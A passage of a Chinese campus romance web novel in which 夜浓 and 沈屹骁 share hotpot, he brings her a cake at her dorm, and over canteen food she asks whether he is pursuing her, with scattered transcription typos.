再往前走就到学校大门口了。刚想去抓他的胳膊,结果这人两步就走到了自己的前面,夜浓压着声:“你回来!"偏偏那人装听不见,夜浓一急一跺脚:“沈屹骁!"这是她第一次喊他的名字,又气又急的三个字,落在耳里,却格外动听。沈屹骁压着嘴角的笑,回头:“干嘛?” 这人真是 夜浓也是有小脾气的,恼着一双眼看他:“你到底去不去?" 沈屹骁: 还以为她能多哄两句,结果可好,耐心就只有两分钟。 隔着两三米远的距离,沈屹骁站着没动。 不远处已经有很多双眼睛看过来。 夜浓小幅度地朝他招了招手。 偷偷摸摸的,跟他沈屹骁传点绯闻怎么了,知道学校里有多少女孩子想跟他有点什么吗? 沈屹骁冷着张脸走过去,不过没有走到她面前,而是直接越过她肩膀。 夜浓:"… 这是愿意去了? 她追上去:“看电影可以,不过咱俩不能坐一块儿。" 那还看什么电影。 沈屹骁冷笑一声:“不看了,行了吧!" 他表情冷下去的时候,更衬他英挺的鼻梁和精致的唇线弧度。 夜浓不会哄人,但觉得,夸夸他,或许能让他心情好一点,可她又不想夸得太刻意。 “你还是笑起来好看。 沈屹骁:“. 这是说他生气的时候丑,还是逼着他笑? 想起那晚她醉酒的模样,先不管是不是装的,总之乖得让人心疼。 再看看现在,软乎乎的一张小嘴,说的话,却句句都往人的心头上扎。 沈屹骁虽然没有他看上去的那么生气,但郁闷多少还是有的。 以至于到了火锅店,他就跟个大爷似的,往那一坐,什么也不管。 无论夜浓问他吃什么喝什么,他都是:随便 没辙,夜浓只能按着自己的喜好给他点。 直到锅底端上来,夜浓抓起他的手腕,把筷了塞到他手里,“大少爷,快吃吧。 视线从被她“摸”过的手腕,到她的侧脸,再到她面前的一份番茄锅底,还有她从转台上取下来的每一种的蔬菜肉类品种,。 沈屹骁都——记在了心里。 虽然上次沈屹骁也跟她来过一次,但是隔着旋转台,沈屹骁根本看不见她的脸,在学校的时候,虽然每天都能在食堂看见她,可夜浓都是打饭回寝室吃, 所以,今天是沈屹骁第一次看见她吃饭时的样子。 并没有因为他在而有任何的扭捏。 大片的羊肉,她一筷子夹上两三片,在番茄锅里涮了几下后,蘸上料汁,一口塞进嘴里。 还有粉丝,吸进嘴里的时候,会听见“呲溜”声。 总之每一样平平无奇的东西,看着她吃,就会让人很有食欲。 可注意力都在她身上,沈屹骁自己倒是没吃上几口。 夜浓就坐在他右手边,怎能感觉不到他的眼神。 不过她什么都没说,没问他,你怎么不吃? 更没问他,你干嘛老看我? 直到出了火锅店,夜浓故意似的:“吃饱了吗?" 以为他会嘴硬,结果却听他说 “没有。" 诚实得夜浓都想笑:“那你刚刚干嘛不吃?" “在看你。” 红蓝色的光影里,他那双浸了墨的眼更显深邃漆黑,直直锁住与他对视的那双深咖色的瞳. 是的,他在试探,这份激进,可能会冒失起到相反的作用。 可沈屹骁又怎么会把自己的后路堵死。 眼看她的表情将他的处地推向危险边缘。 沈屹骁摇头失笑一声:“结果看到最后,都没见你说一句,你怎么不吃。 虽然夜浓脸上是懵的,可心里却因他前后两句话,体验了一把过山车的感觉。 真的,刚刚她差点都要以为他要说什么表白的话了。 结果他却话锋一转。 故意逗她似的。 夜浓不管那么多,反正饭她请了,吃不吃饱是他的事。 她这人一向不喜欢欠别人人情。 不过电影 之前他说不看,不知是气话还是什么。 夜浓瞥了他一眼: “电影你到底看不看?" 别说她现在是不情不愿,她就是情愿了,沈屹骁也不打算去了。 之前是想着能和她多待一会儿,后来再一想,明明可以分成两次做的事,他嘛一次都给用完 但是他没说不看,而是说:“没心情。 夜浓:所以这人是又生气了?是之前的气没消,还是因为她在吃火锅的时候总慢他了?从白梨巷回来后,夜浓一直在想这个问题。结果一个问题没想到,脑子里又冒出了另一个问题。他是她的谁?他生不生气跟她有什么关系?饭她请了,电影票她也买了,就算他没去看,可钱她花了。总之,她现在不欠他人情。总之,她现在和他两清了。 对,两清了 夜浓在心里一遍又一遍地默念着这三个字。 至于念了多少遍才睡着,她不知道。 只知道一觉醒来已经是第二天中午。 夜浓刚把脑袋勾到床边,蒋蒋刚好抬头看她:“正好我去食堂打饭,要不要帮你带? 李晓琪走后,寝室里的气氛和谐了不少。 上周夜浓也帮她打过两次晚饭,所以这次她也就没有客气:“那麻烦你了,我饭盒就在书架最上面。 周末的一楼食堂,饭菜会比平时要简单,李晓琪问她:“如果一楼没有好吃的,我准备去买二楼的炒河粉,你要吗? 夜浓点头:“行,我和你的口味好像差不多,你买什么就给我带一份就行了。" 结果没一会儿的功夫,蒋蒋就折回来了。 “夜浓夜浓夜浓!" 夜浓探出脑袋:“这么快 “你快点下去,沈屹骁在楼下等你呢!" 夜浓整个人懵懵的:“他跟你说他在等我的?”这还用说吗?”蒋蒋一边拍着她的床沿,一边催她:“你赶紧的,我听人说,他都在楼下站了一个多小时了。 夜浓眉头皱着:“也许他是等别人的呢?" 蒋蒋直接惊呼一声“我的天呐”,“咱们学校,除了你,他怎么可能还会去等第二个人?" 夜浓可不这么觉得:“为什么不能?" 蒋蒋爬上梯子:“她都为了你,把李晓琪赶出咱们这栋楼了,就这份心 "等等,”夜浓打断她:“你是说,李晓琪是被他赶到二号宿舍楼的? 她都把蒋蒋问懵了。 “不、不是你跟沈屹骁说的这事,沈屹骁才把她” 夜浓眉头皱得紧:“我跟他说这事干嘛! 蒋蒋眼睛眨巴眨巴着:“你俩不是男女朋友吗,我就以为一 夜浓叹气:“我都跟你说过好几次了,我跟他不是你们想的那种关系。 蒋蒋不知道该不该信她了:“那你们是什么关系?" “就、就朋友,”好像朋友也不算,夜浓把关系又往浅了说:“就是那种看见了点点头的那种朋友。 蒋蒋听了直撇嘴:“真是那种朋友,那他还在食堂为你出头? “为我出头?" “就上次李晓琪跟你道歉那次。当时就是因为李晓琪说了你坏话,正好被他听到,他逼着李晓琪去给你道歉的,当时可不止我,好多人都看到了! "还是说,他现在是在追你,你还没有答应的阶段?" 蒋蒋眼睛一眯: 100、大学 . 沈屹骁的确在宿舍楼下等着,不过等了不止一个多小时,他十点就到了, 门口明明有遮阳的地方,可他却头顶烈日,在一双双看过来的视线里,就这么迎面站在距离门口不过三米远的台阶下。 这么热的天,任谁站了这么久都会烦躁不堪,可他却神色淡淡,甚至看上去颇有几分悠闲。 直到看见夜浓从楼梯上下来,他几分懒淡的眸光突然一凝。 这是全身上下就只穿了一件T恤就下来了? 他就这么拧眉盯着那两条白到发光的长腿走到自己面前,一抬头,都不等夜浓开口- “你怎么穿成这样就下来了? 夜浓完全没想到开场白会是这样,愣了一下后,她低头看了眼自己:“我穿这个怎么了? 沈屹骁抬眼看她:“裤子呢?" 下来前想问他的话都被他打乱了。 夜浓低头,把衣摆往上一拎:“这不是吗? 沈屹骁: 本来还想带她去食堂吃饭的,穿成这样还怎么去。 可若是由他开口让她回去换一件,怕是要惹她不耐烦。 沈屹骁把背在身后的袋子递到她面前,“给。 夜浓看了眼但没接: “什么东西? “蛋糕。 “蛋、蛋糕? 不声不响地在这里等她,就是给她送蛋糕? 难道真像蒋蒋说的,这人是要追她? 见她没有动作,沈屹骁催了句:“拿着呀! 被他这么一说,夜浓不仅不接,还往后退了一步: “我不要! 三个字,说的利落又果断。 来的时候,沈屹骁就猜到她会是这个反应 不过没关系,他也不是没有对策。 “那你昨天跟我提蛋糕? 夜浓反应了两秒才想起来昨天傍晚在学校门口跟他说的话 她忙解释:“我是问蛋糕是不是你送的,不是让你送。" 沈屹骁将信将疑地看着她:“不是试探我?" 夜浓都听笑了:“我试探你这个干嘛?" 沈屹骁低头看了眼,“那我不是白买了吗? 夜浓:" 怎么听着还像是怪她的意思,明明是他理解能力有问题。 沈屹骁又把袋子递到她面前:“反正我都买了,你拿回去。 见她还是不接,沈屹骁索性拉住起她手腕,把袋子勾到她手里: “放回去再下来,带你去食堂。 刚对他追求自己的意图打消了几分,如今又听他说要约自己吃饭,夜浓顿时警觉心四起:“你到底要干嘛? 沈屹骁歪头看她:“我能干嘛? 提在嗓子眼的“你是不是想追我”,不知怎的,就是问不出口。 不是不好意思,而是这人的路数,夜浓实在摸不准。 说他是想追自己吧,可他又一点都不像别的男生那样,那么殷勤。 不殷勤也就算了,还会跟她生气,甚至到目前为止,都没有问她要过她电话或微信。 可如果对她一点心思都没有,又为什么四下里帮她? 带着满眼的疑惑和探究,夜浓就这么盯着他看,把沈屹骁看得气笑一声。 “你是要把我晒死吗? 刚好一滴汗从他眉骨滑下来,他抬手一擦再一甩. 就这么把夜浓的愧疚从莫名其妙的地方给甩’了出来。 午后,阳光正烈。 夜浓看了眼他脚下的缩影,“你别在那站着了,”她往后退了两步:“你站上来吧,我把东西放回去就下来。 说完,她急匆匆转身,走了两步,她又折回来: “有事的话,你在这儿说不行吗? 看着挺精一人,有时候泛起迷糊来又实在可爱得要命。 沈吃骁指看额头上的汗: 你心疼我一 夜浓: 趁着她怔愣的间隙,沈屹骁朝她挥了挥手, “赶紧上去,我喉咙都要等冒烟了。" 脸的不耐烦,哪里有半点追人的态度。 回到寝室,都不等蒋蒋开口,夜浓就先反驳她了:“他没有要追我,你猜错了。 蒋蒋瞧了眼被她放在桌上的蛋糕盒:“都送蛋糕了,还不叫追你? 这里面弯弯绕绕的,夜浓不想解释那么多,索性随便捏了个理由:“是我让他帮我带的。 蒋蒋皱着眉头,还想说什么,见她从衣柜里拿了条裙子出来,“你干嘛去?” “去食堂。 蒋蒋愣了一下:“和沈屹骁呀? 夜浓拾手脱掉T恤的动作微微一停,“嗯。虽说和沈屹骁的关系没什么见不得人的,但夜浓不想被误会太多,“我找他有点事。什么事?谈恋爱的那点事吗?蒋蒋嘴角抿笑。楼下,沈屹骁还和之前一样,迎面站在门口,看见夜浓换了条长裙,他偏开脸笑了,但是当他回过脸,表情又揉了几分严肃进去。“你是不是刚睡醒?"出门前,夜浓照了下镜子,知道自己右眼眼皮上的压痕,如今听他这么一说,下意识就抬手摸了摸:“很明显吗?公“还行,”沈屹骁笑了声:“昨晚很晚才睡吗?"说到昨晚,夜浓下意识就看了眼身旁这位始作俑者。“没有。”否认完,她像是随口一提:“你过来怎么不跟我说一声?"“怎么说?我又没有你电话?"轻而易举就把话题引到了自己想问的重点上,夜浓眼里藏着几分狡黠:“要留一个吗? 论起表情管理还是察言观色,夜浓哪里是沈屹骁的对手。 视线往她脸上一瞥,沈屹骁就看出她的试探了, “不用。 夜浓被他的回答意外到。 难道真是她多想,误会他了? 但是转念一想,就算他真的没打算问她要电话,可她现在都主动开口了. 夜浓撇了撇嘴。 不留就算,还真以为她多想把自己的号码给他呀! 周末的食堂,人本就不多,如今过了饭点,一楼几乎都见不看几个人。 夜浓走在他身侧,上了二楼。 “想吃什么? “随便。 两个字,明显带着情绪。 沈屹骁歪头看她:“确定? 夜浓目视前方,没理他。 “那行。 夜浓这才瞥他一眼。 “那行”是什么意思? 是不再问她,随便给她点了? 沈屹骁这段时间都是在五号窗口吃饭,老板见到他,从椅子上起身:“吃什么?" “随便。 夜浓抬手就在她胳膊上拍了下:“你怎么还真点? 沈屹骁笑了声:“不是你说要吃随便的吗?" 夜浓剜了他一眼: 沈屹骁看向窗口: “那我还想吃星星月亮呢! "老板,星星月亮 “沈屹骁! 沈屹骁腰板一直:“在呢。 夜浓被他气笑了:“你再这样,我可就回去了。 沈屹骁双手压着她肩膀,把她按坐到两三米远的椅子上:“所以到底想吃什么? 窗口上方就贴着菜单,夜浓扫了两眼:“他们家没有炒河粉。 喜欢吃炒河粉?" 夜浓点了一下头,又摇了摇:“就突然想吃了。 说完,她才注意到沈屹骁是蹲在她面前的。 只是没等她做出反应,沈屹骁就主动站了起来。 “等着,我去买。 明明今天不是第一次见他,可夜浓却在今天才发现,他个子这么高。 不仅个子高,肩膀也很宽,用“挺拔’来形容都不为过。 追她的男生那么多,可却没有一个人的背影在她眼里停留那么久,久到他端着一盘热气腾腾的炒河粉走到了自己的面前,。 不算心虚的眼神带着几分躲闪,夜浓接过他递来的一次性筷子。 刚刚沈屹骁就注意她的眼神了。 看似落在他脸上,可又明显感觉到她的失神。 看着他失神 是他理解的那个意思吗? 沈屹骁凝眸看她。 感觉到他的视线,夜浓垂着眉眼开口:“你的呢? 沈屹骁收回深思,往不远处的窗口看了眼:“我那份不要豆芽,老板是分开炒的。 原来他不吃豆芽。 绿豆芽不吃,那黄豆芽呢? 夜浓:“. 她在想什么乱七八糟的东西? “同学,河粉好了。 眼看他从对面起身越过餐桌,夜浓扭头看了眼后,摸了摸自己的脸。 竟然真的有点烫。 那能看出红来吗? 夜浓拿起手机,刚一滑到相机模式,余光里就多了条人影。 吓得她把手机往手机往下一卡。 视线从她的动作落到她脸上时,沈屹骁眸光一顿。 这是脸红了? 所以,是和手机里的东西有关,还是和他有关? 夜浓拾头的时候,刚好撞到他直直看过来的目光 她几乎来不及多想就垂下了眼。 也正是因为这样,让沈屹骁肯定了自己的猜测, 就在他嘴角的笑快要压不住的时候,夜浓开口了 “李晓琪是你找人把她调走的吗?" 这是有人在她面前说什么了? 屹骁视线笼着她的眉、她的眼:“是。 夜浓抬头看他。 承认的这么干净利落,甚至一点犹豫都没有。 是该说他性格直爽不喜欢搞背地里那一套,还是说… 夜浓不想猜了:“为什么? 沈屹骁直直接住她视线,“她当着那么多人的面说你,我要是什么都不做,像话吗?" 可是别人说她,跟他有什么关系? 还有,陈铮和韶观远追他,跟他又有什么关系? 那么昨天晚上呢,他生气,到底是气她的不礼貌还是气她不和他一块儿去看电影? 还有那天晚上送到她寝室的蛋糕,到底是不是他送的? 如果是,那他今天送她蛋糕的理由,是不是也是假的? “沈屹骁。 她看着他的眼神里,没有疑惑,没有探究,也没有不可置信,只有认真 "你具不具在追我2